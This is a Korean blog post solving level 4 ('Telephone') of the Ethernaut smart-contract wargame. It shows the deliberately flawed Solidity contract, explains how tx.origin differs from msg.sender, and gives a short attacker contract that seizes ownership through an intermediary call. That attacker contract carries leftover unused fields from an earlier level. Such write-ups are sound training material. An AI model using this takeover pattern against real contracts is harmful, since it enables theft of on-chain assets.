Web3/The Ethernaut

[The Ethernaut] Level 4. Telephone

프레딕 2025. 1. 17. 16:35
728x90

코드 자체는 심플하다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

tx.origin 과 msg.sender의 값이 다르면 된다.

msg.sender는 그렇다 치고 tx.origin이 뭔지 몰라서 찾아본 결과

처음 트랜잭션을 최초로 생성한 계정이 반환된다고 한다.

그 말은 트랜잭션을 최초로 생성한 사람은 나이므로 나의 지갑 주소가 반환된다는 정도로 이해했다.

그러면 msg.sender도 똑같지 않나? 하고 또 찾아보니깐

msg.sender는 현재 호출하는 자신의 지갑주소가 아니라 호출하는 contract의 주소라는 것이었다.

즉, 다른 컨트랙트에서 msg.sender를 호출하면 해당 컨트랙트의 주소가 뜰 것이다.

그래서 외부 contract를 하나 파서 changeOwner를 호출하게 하면 끝이다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/telephone.sol";

contract TelephoneSolve {
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    address player;
    address target;
    function HackLv4(address _target) public {
        target = _target;
    }

    function attack(address _player) public{
        Telephone(target).changeOwner(_player);
    }
}

Remix사용해서 했다.

owner를 내 지갑주소로 바꾸면 해결된다.

 

728x90
반응형